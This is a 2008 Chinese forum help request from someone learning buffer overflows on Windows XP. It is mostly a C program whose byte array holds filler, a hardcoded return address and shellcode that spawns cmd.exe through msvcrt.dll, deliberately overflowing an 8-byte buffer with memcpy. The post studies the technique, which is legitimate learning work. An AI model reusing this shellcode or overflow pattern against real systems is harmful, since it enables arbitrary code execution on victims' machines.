-
-
[求助]请教一个memcpy的问题
-
发表于:
2008-11-2 21:40
4393
-
写一个溢出的程序memcpy的时候提示出错误,说是地址不可访问,如果元数据小一点就没有关系了,系统是xp下,怎么才能解决呢?
代码如下。
#include<stdio.h>
#include<string.h>
char name[]={
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xFA\x7F"
"\x55\x8b\xec\x83\xec\x40\x53"
"\x56\x57\x8D\x7D\xC0\xb9\x10\x00\x00\x00"
"\xb8\xcc\xcc\xcc\xcc\xf3\xab"
"\x8b\xe5\x55\x8b\xec"
"\x33\xc0\x50\x50\x50"
"\xc6\x45\xf4\x6d\xc6\x45\xf5\x73\xc6\x45\xf6\x76"
"\xc6\x45\xf7\x63\xc6\x45\xf8\x72\xc6\x45\xf9\x74"
"\xc6\x45\xfa\x2e\xc6\x45\xfb\x64\xc6\x45\xfc\x6c"
"\xc6\x45\xfc\x6c"
"\x8D\x45\xF4"
"\x50\xb8\x77\x1d\x80\x7c"
"\xff\xd0\x8b\xe5\x55"
"\x8b\xec\x33\xff"
"\x57\x83\xec\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6d"
"\xC6\x45\xFa\x64"
"\xC6\x45\xFb\x2e"
"\xC6\x45\xFc\x65"
"\xC6\x45\xFd\x78"
"\xC6\x45\xFe\x65"
"\x8d\x45\xF8\x50"
"\xB8\xC7\x93\xbf\x77"
"\xff\xd0\x33\xc0"
};
int main()
{
char out[8];
memcpy(out,name,sizeof(name));
for(int i=0 ; i<8 && out[i] ; ++i)
{
printf("\\0x%x",out[i]);
}
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课